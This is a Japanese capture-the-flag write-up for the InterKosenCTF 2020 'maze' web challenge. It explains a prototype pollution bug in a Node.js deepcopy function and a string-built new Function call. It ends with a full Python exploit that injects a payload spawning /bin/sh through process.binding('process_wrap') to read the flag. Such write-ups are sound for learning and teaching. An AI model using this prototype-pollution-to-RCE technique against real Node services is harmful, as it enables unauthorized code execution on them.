# maze [InterKosenCTF 2020]
###### tags: `InterKosenCTF2020` `web`
CTFer、matroskaとmaze大好き問題
## 概要
迷路をたどってくれるnode製webアプリケーションっぽい。`usage/sample.py`にもあるようにjsonをPOSTして動かす。
```python=
{
"map": [
[1, 1, 1, 1, 1, 1, 1, 1, 1, 1],
[1, 0, 0, 0, 0, 0, 0, 0, 0, 1],
[1, 0, 1, 1, 1, 0, 1, 1, 1, 1],
[1, 0, 0, 0, 1, 0, 1, 0, 1, 1],
[1, 1, 1, 0, 1, 0, 0, 0, 0, 1],
[1, 0, 0, 0, 1, 1, 1, 1, 0, 1],
[1, 0, 1, 1, 1, 0, 0, 0, 0, 1],
[1, 0, 1, 0, 1, 0, 1, 1, 1, 1],
[1, 0, 0, 0, 1, 0, 0, 1, 1, 1],
[1, 0, 1, 0, 0, 0, 0, 0, 0, 1],
[1, 1, 1, 1, 1, 1, 1, 1, 1, 1],
],
"start": (1, 1),
"goal": (8, 9),
"heap": "BinaryHeap"
}
```
node側のソースコードをざっと見た感じだと、`util.js`にある`deepcopy`は怪しそう。こういう`clone`系の関数があるとPrototype Pollutionというのができるらしい。Prototype Pollutionが何かというのは難しい話だけど、雑に言えば`v.__proto__.__proto__.x = X`というような代入をやると、`{}.x == X`になってしまうというような感じだと思う。
```javascript=
function is_array(obj) {
return obj !== null && typeof obj === 'object';
}
function __deepcopy_internal(result, array) {
for (let index in array) {
if (is_array(result[index]) && is_array(array[index])) {
__deepcopy_internal(result[index], array[index]);
} else {
result[index] = array[index];
}
}
return result;
}
/**
* deepcopy: Clone an Array object
*/
function deepcopy(obj) {
return __deepcopy_internal(new Array(), obj);
}
module.exports = {
deepcopy: deepcopy
};
```
また、`solve.js`内の`solve`関数の冒頭も文字列ベースで関数を組み立てていていかにも怪しい。
```javascript=
solve() {
const comparator = (M1, M2) => { return M2.f - M1.f; }
const heap = this.heap || 'BinaryHeap';
var q = new Function('c', 'return new this.'+heap+'({comparator:c});')
.bind(pq)(comparator);
q.push(this.maze);
var visited = [];
...
}
```
## 解法
というわけでPrototype Pollutionをやる。deepcopyがどこで使われているかを見ると`Maze`クラスの`next`という関数で`S`という変数をコピーしている。これはもともとリクエストの`start`らしいので`start["__proto__"]["__proto__"]`が生えるように細工をしていく。
Prototype Pollutionで何をしたいかというと、`Solve`クラス内の`this.heap`を変な値にしてやりたい。`new Function('c', 'return new this.BinaryHeap() + <ここに好きな式>({comparator: c})'` というように組み立てることができれば、好きな式を使ってRemote Code Executionなどができそう。
というわけでクエリの概形はこんな感じになる。heapをnullにしておくのがポイントで`BinaryHeap`などの値がすでに存在していると、`Object.prototype.heap` よりもそちらが優先されてしまう。
```json=
{
"map": [
[1, 1, 1, 1, 1, 1, 1, 1, 1, 1],
...
[1, 1, 1, 1, 1, 1, 1, 1, 1, 1],
],
"start": {
"0": 1,
"1": 1,
"__proto__": { "__proto__": { "heap": "なんか文字列" }}
},
"goal": (1, 2),
"heap": null
}
```
また、goalできる状態にしてやることも大事になる。`solve.js`は以下のようになっているので、一度目の`solve`の呼び出してPrototype Pollutionを行い、二度目の`solve`を呼び出してRCEを引き起こすためには、一度目の`solve`で迷路が解けている必要がある。
```javascript=
// Solve maze
var ms = new maze.Solver(map, start, goal, heap);
var result = ms.solve() !== undefined ? ms.solve() : 'impossible';
```
というわけで、あとは`heap`に入れる文字列を作る。`require` などが内部で使えないので困ったが、[ここ](https://tipi-hack.github.io/2019/04/14/breizh-jail-calc2.html)などを見ながらエクスプロイトを組み立てればOK。
最終的なコードは次のようになる。
```python=
import requests
import json
HOST = 'web.kosenctf.com'
PORT = 14002
maze = {
"map": [
[1, 1, 1, 1, 1, 1, 1, 1, 1, 1],
[1, 0, 0, 0, 0, 0, 0, 0, 0, 1],
[1, 0, 1, 1, 1, 0, 1, 1, 1, 1],
[1, 0, 0, 0, 1, 0, 1, 0, 1, 1],
[1, 1, 1, 0, 1, 0, 0, 0, 0, 1],
[1, 0, 0, 0, 1, 1, 1, 1, 0, 1],
[1, 0, 1, 1, 1, 0, 0, 0, 0, 1],
[1, 0, 1, 0, 1, 0, 1, 1, 1, 1],
[1, 0, 0, 0, 1, 0, 0, 1, 1, 1],
[1, 0, 1, 0, 0, 0, 0, 0, 0, 1],
[1, 1, 1, 1, 1, 1, 1, 1, 1, 1],
],
"start": {
"0": 1,
"1": 1,
"__proto__": {
"__proto__": {
"heap": "BinaryHeap() + function(x){\
new (this.process.binding('process_wrap').Process)().spawn({file:'/bin/sh', args: ['-c', 'cat /flag-*'],stdio:[this.process.stdin,this.process.stdout,this.process.stdout]})\
}\
}"
}
}
},
"goal": (1,2),
"heap": null
}
r = requests.post(f"http://{HOST}:{PORT}/solve",
headers = {"Content-Type": "application/json"},
data = json.dumps(maze))
print(r.text)
```
## 感想
難しかった。Prototype Pollutionを理解したうえで`solve`を2回呼べることに気が付けるならそうでもないのかな。ほかの問題と比べてもlunaticでいいと思う